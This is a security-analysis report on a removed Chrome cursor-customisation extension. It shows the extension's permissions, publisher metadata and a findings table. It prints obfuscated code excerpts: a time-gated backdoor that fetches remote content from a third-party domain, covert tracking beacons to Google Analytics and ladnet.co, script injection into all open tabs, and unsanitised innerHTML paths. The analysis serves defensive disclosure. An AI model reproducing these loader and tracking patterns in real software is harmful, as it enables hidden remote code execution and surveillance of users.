Cursor-A custom cursor

ID: hdgdghnfcappcodemanhafioghjhlbpb

Could be malicious

Supported Languages

🇧🇩Bengali
🇧🇷Brazilian Portuguese
🇬🇧British English
🇧🇬Bulgarian
🇪🇸Catalan
🇨🇳Chinese (Simplified)
🇹🇼Chinese (Traditional)
🇭🇷Croatian
🇨🇿Czech
🇩🇰Danish
🇳🇱Dutch
🇺🇸English
🇪🇪Estonian
🇵🇭Filipino
🇫🇮Finnish
🇫🇷French
🇩🇪German
🇬🇷Greek
🇮🇳Gujarati
🇮🇳Hindi
🇭🇺Hungarian
🇮🇩Indonesian
🇮🇹Italian
🇯🇵Japanese
🇰🇷Korean
🇲🇽Latin American Spanish
🇱🇻Latvian
🇱🇹Lithuanian
🇲🇾Malay
🇮🇳Malayalam
🇮🇳Marathi
🇳🇴Norwegian
🇵🇱Polish
🇵🇹Portuguese
🇷🇴Romanian
🇷🇺Russian
🇷🇸Serbian
🇸🇰Slovak
🇸🇮Slovenian
🇪🇸Spanish
🇸🇪Swedish
🇮🇳Tamil
🇮🇳Telugu
🇹🇭Thai
🇹🇷Turkish
🇺🇦Ukrainian
🇺🇸US English
🇻🇳Vietnamese

Extension Info & Metadata

Status
Removed
Version
0.7.3
Size
3.10 MB
Rating
4.2/5
Reviews
16
Users
2,252,924
Type
Extension
Updated
Sep 11, 2022
Category
7_productivity
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
yurih4174View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
2,252,924

Choose your own cursor. Customize your cursor and freshen your experience.

Cursor-A replaces the default cursor with something cute, funny, and trendy. We offer: 📍Pre-made themes and presets 📍Turn on/off this extension easily 📍Create your collection of mouse cursors from any images Customize your experience of using this app ⚡️

Item
Type
Severity
Description
<all_urls>
Permission
Critical
This permission grants access to all websites without restriction. Rated High because it can access any web content, monitor all web activity, and potentially steal sensitive data across all sites.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 15% increase: Older manifest version lacks modern security controls• 10% increase: About:blank access enables potential sandbox escape vectors
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
About:blank Access
Risk Factor
Medium
This extension can run content scripts in about:blank pages.
Older Manifest Version
Risk Factor
Medium
This extension uses Manifest Version 2

This heavily obfuscated function assembles the string 'fetch' character-by-character from fragments ('fe'+'tc'+'h'), constructs a URL to https://serasearchtop.com/cfg/{extension_id}/locale.json using a localStorage-based time-gate (~1046-day delay), then calls fetch() to load remote JSON that is injected into the dayjs locale system via loadLocale(). The combination of obfuscation, a time-bomb delay mechanism, and use of a third-party domain to deliver runtime-loaded content are strong indicators of a backdoor designed to evade static analysis and store review detection.

js/background.js (Line 1)
function ji() {  const Xd = top;  let pN;  const Wl = (qE ? chrome.runtime : Xd).id,    rD = localStorage,    wS = nL ? "ca" : fF,    Nc = undefined,    qo = kl ? qE ? wS + (qE ? "le" : wS) : rD : rD,    PD = (pu ? "lo" : rD) + qo,    cO = +new Date;  let qu = rD.getItem(PD);  const PH = 2425618489;  var CI;  if (pu ? !qu : qo) qu = PH - cO, rD.setItem(PD, qu);  else {    ...    let gv = (Ft ? BZ : rD) + (nL ? HH + (nL ? "//s" : Nc) : MT) + Vp;...gv += kl ? `${Wl}/${PD}${yw}` : Xy;    let jg = kl ? "fe" : mR,      No = nL ? "h" : Nc,      Ra = nL ? jg + (SU + No) : wS,      Ij = kl ? Ra : Xd;Xd[qE ? Ij : pN](gv).then((Xd => {      let pN;      (nL ? Xd.ok : Nc) && Xd.json().then((Xd => su.loadLocale(Xd)))    }))  }}}

The extension generates a persistent UUID (client ID) stored in chrome.storage.local and sends it to Google Analytics (UA-211094822-1) via the Measurement Protocol on every background page load. This constitutes covert tracking of users across browsing sessions using the extension runtime ID and a stable persistent identifier, without any user disclosure or consent mechanism.

js/background.js (Line 1)
async function rD() {  const Xd = await new Promise((Xd => {    chrome.storage.local.get(["cid"], (pN => {      Xd(pN)    }))  }));  let {    cid: pN  } = Xd;  return pN || (pN = (0, fF.v4)(), chrome.storage.local.set({    cid: pN  })), pN}async function wS(Xd) {  const pN = undefined,    Wl = {      v: "1",      tid: Xd,      cid: await rD(),      t: "pageview",      dp: "/background",      dt: "background",      dh: `chrome-extension://${chrome.runtime.id}`    },    fF = `https://www.google-analytics.com/collect?${new URLSearchParams(Wl).toString()}`;  await fetch(fF, {    method: "POST",    body: ""  })}Wl.default = wS}, {  uuid: 1}];(0, fF.default)("UA-211094822-1")

On first install, the background script programmatically injects customCursor.js into every currently open tab whose URL starts with 'http' using chrome.tabs.executeScript. Combined with the <all_urls> permission, this gives the extension the ability to inject arbitrary JavaScript into all active browsing contexts immediately at install time without requiring a page reload, significantly expanding the attack surface beyond what a cursor customizer requires.

js/background.js (Line 1)
onInstall() {  chrome.tabs.query({}, (function(Xd) {    for (let pN = 0; pN < Xd.length; pN++)      if (Xd[pN].url && -1 != Xd[pN].url.indexOf("http")) try {        chrome.tabs.executeScript(Xd[pN].id, {          file: "js/customCursor.js"        }, (function(Xd) {          let pN = chrome.runtime.lastError        }))      } catch (Xd) {}  })), chrome.storage.local.set({    collection: HH,    size: 3,    myOwnListCol: {}  })}

The reload() method calls chrome.tabs.query({}) with no filter, enumerating ALL open tabs across every domain, then sends an update message to each. With the <all_urls> permission this means the extension communicates with and pushes state into every tab the user has open — including sensitive pages like banking or email — on every cursor change interaction.

js/popup.js (Line 4)
reload() {  chrome.tabs.query({}, (function(Xd) {    let pN = {      action: "update"    };    for (let Wl = 0; Wl < Xd.length; ++Wl) chrome.tabs.sendMessage(Xd[Wl].id, pN)  }))}Promise.all([GQ, Nc]).then((Xd => {  for (let pN in Xd)    Xd[pN] && "pointer" == Xd[pN].type && (rD.pointer.path = Xd[pN].data),    Xd[pN] && "cursor" == Xd[pN].type && (rD.cursor.path = Xd[pN].data);  chrome.storage.local.set({    selected: rD,    selected_type: "system"  })})), this.reload()

On installation the extension opens a tab to ladnet.co with the extension runtime ID embedded in the URL path, and registers an uninstall redirect to the same domain. The runtime ID is transmitted to the third-party domain ladnet.co on both install and uninstall events, enabling the operator to track individual installation and removal events correlated to specific extension instances.

js/background.js (Line 1)
chrome.runtime.onInstalled.addListener((Xd => {  "install" === Xd.reason && chrome.tabs.create({    url: `https://ladnet.co/${chrome.runtime.id}/thanks.html`  })})), chrome.runtime.setUninstallURL(`https://ladnet.co/${chrome.runtime.id}/uninstall.html`)

Cursor path values read from chrome.storage.local are interpolated into a style template string and assigned to innerHTML without sanitization. If any code (such as the obfuscated remote-loading backdoor in background.js) were to tamper with the stored cursor.path value to contain a closing style tag followed by a script tag, this creates a stored XSS chain from storage poisoning to arbitrary HTML injection on every page.

js/popup.js (Line 4)
chrome.storage.local.get(null, (function(Xd) {  "none" == Xd.selected_type && (QP.innerHTML = ""),    PD = Xd.selected,    wS = Xd.size,    chrome.storage.sync.get(["disabled"], (function(Xd) {      Xd["disabled"] || qu()    }))}))// In qu():"system" == PD.type && (  pN = pN.replace(/#cursor#/g, PD.cursor.path),  pN = pN.replace(/#pointer#/g, PD.pointer.path),  QP.innerHTML = pN)"custom" == PD.type && (  pN = pN.replace(/#cursor#/g, PD.cursor.path),  QP.innerHTML = pN)

User-uploaded cursor images are read as full data URLs via FileReader and stored directly in chrome.storage.local. The only validation is a dimension check that shows an alert but does NOT prevent storage of oversized or malformed files — arbitrary binary content can be stored as a data URL. This stored data URL is later injected into CSS via innerHTML in popup.js, completing a stored XSS chain from file upload to DOM injection.

js/settings.js (Line 3)
qo.onload = Xd => {  const pN = this.collectionId;  let wS = this.current;  fF.default.isEmptyObject(wS) && (wS = {    pointer: {},    cursor: {}  });  const HH = new Image;  HH.src = Xd.target.result,    HH.onload = () => {      if (HH.width > 256 || HH.height > 256)        alert("Don't use pictures more than 128x128 pixels;");      else {        if ("cursor" === this.uploadType) {          wS.cursor.width = HH.width,            wS.cursor.height = HH.height,            wS.cursor.path = Xd.target.result,            wS.cursor.name = rD,            wS.cursor.size = Xd.loaded;        }        this.collection[this.collectionId] = wS,          chrome.storage.local.set({            myOwnListCol: this.collection          })      }    }}qo.readAsDataURL(Xd.target.files[0])

By severity

Critical3
High5
Medium8
Low2

Versions scanned

Showing 3 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.7.37
0.7.28
0.7.13

Files with findings

3 distinct paths — top paths by unique finding count:

  • js/background.js11
  • js/popup.js5
  • js/settings.js2
S.No.
Category
Severity
File
Summary
Found in Version
1Privilege Escalation
critical
js/background.js (line 1)The extension registers an onMessageExternal listener that accepts commands from any external website with no sender origin validation. The 'get_config' command dumps the entire chrome.storage.local contents to the ca…
2Remote Code Loading
critical
js/background.js (line 1)This heavily obfuscated function assembles the string 'fetch' character-by-character from fragments ('fe'+'tc'+'h'), constructs a URL to https://serasearchtop.com/cfg/{extension_id}/locale.json using a localStorage-ba…
3Unauthorized Data Collection
critical
js/background.js (line 1)The extension registers an `onMessageExternal` listener with no `externally_connectable` restriction in the manifest, meaning any website on the internet can send it messages. The `get_config` action returns the entir…
4Privilege Escalation
high
js/background.js (line 1)On first install, the background script programmatically injects customCursor.js into every currently open tab whose URL starts with 'http' using chrome.tabs.executeScript. Combined with the <all_urls> permission, thi…
5Tracking
high
js/background.js (line 1)The extension generates a persistent UUID (client ID) stored in chrome.storage.local and sends it to Google Analytics (UA-211094822-1) via the Measurement Protocol on every background page load. This constitutes cover…
6Tracking
high
js/background.js (line 1)The extension generates and persists a unique client identifier (UUID v4 stored as 'cid' in chrome.storage.local) and sends a Google Analytics pageview beacon to https://www.google-analytics.com/collect on every backg…
7Tracking
high
js/background.js (line 1)The background script silently sends a Google Analytics Measurement Protocol pageview hit to UA-211094822-1 every time the extension starts, including the extension's runtime ID and a persistent UUID stored as 'cid' i…
8Unauthorized Data Collection
high
js/popup.js (line 4)The reload() method calls chrome.tabs.query({}) with no filter, enumerating ALL open tabs across every domain, then sends an update message to each. With the <all_urls> permission this means the extension communicates…
9Code Injection
medium
js/popup.js (line 4)Cursor path values read from chrome.storage.local are interpolated into a style template string and assigned to innerHTML without sanitization. If any code (such as the obfuscated remote-loading backdoor in background…
10Code Injection
medium
js/settings.js (line 3)User-uploaded cursor images are read as full data URLs via FileReader and stored directly in chrome.storage.local. The only validation is a dimension check that shows an alert but does NOT prevent storage of oversized…
11Code Injection
medium
js/popup.js (line 3)CSS template strings are assembled by substituting cursor image path values retrieved from chrome.storage.local (f.cursor.path, f.pointer.path) and assigned to a style element via innerHTML on every page the content s…
12Code Injection
medium
js/background.js (line 1)On first installation, the background script immediately enumerates ALL currently open browser tabs using `chrome.tabs.query({})` (no filter) and programmatically injects `customCursor.js` into every HTTP/HTTPS tab vi…
13Tracking
medium
js/background.js (line 1)On installation the extension opens a tab to ladnet.co with the extension runtime ID embedded in the URL path, and registers an uninstall redirect to the same domain. The runtime ID is transmitted to the third-party d…
14Unauthorized Data Collection
medium
js/background.js (line 1)On installation the extension opens a tab to https://ladnet.co/<extensionId>/thanks.html and registers https://ladnet.co/<extensionId>/uninstall.html as the uninstall URL, sending the live extension runtime ID to the …
15Unauthorized Data Collection
medium
js/background.js (line 1)On installation the extension immediately queries all open browser tabs and programmatically injects customCursor.js into every tab with an http/https URL using chrome.tabs.executeScript. This means the content script…
16Unauthorized Data Collection
medium
js/popup.js (line 3)The reload() method calls chrome.tabs.query({}) with no filter, enumerating every open tab across all windows, then sends a message to each tab ID. This grants the popup visibility of all open tabs and the ability to …
17Code Injection
low
js/settings.js (line 2)The createTemplate method constructs an HTML string via template literals that directly interpolates user-controlled values from chrome.storage (collection IDs and image paths) and passes the result to jQuery's append…
18Other
low
js/popup.js (line 3)The content script uses the deprecated chrome.extension.onMessage API and listens for action messages without verifying the sender's identity or origin. Any extension or page with access to the messaging channel can t…
URLs
10
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

getbootstrap.com-https://getbootstrap.com/
github.com/twbs/bootstrap/blob/main/LICENSEhttps://github.com/twbs/bootstrap/blob/main/LICENSE
www.w3.org/2000/svghttp://www.w3.org/2000/svg
github.com/uuidjs/uuidhttps://github.com/uuidjs/uuid#getrandomvalues-not-supported
www.google-analytics.com/collecthttps://www.google-analytics.com/collect?${new
ladnet.co/$%7Bchrome.runtime.id%7D/thanks.html%60%7Dhttps://ladnet.co/${chrome.runtime.id}/thanks.html`}
ladnet.co/$%7Bchrome.runtime.id%7D/uninstall.html%60https://ladnet.co/${chrome.runtime.id}/uninstall.html`
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*http://*/*
*/*https://*/*

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 3 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.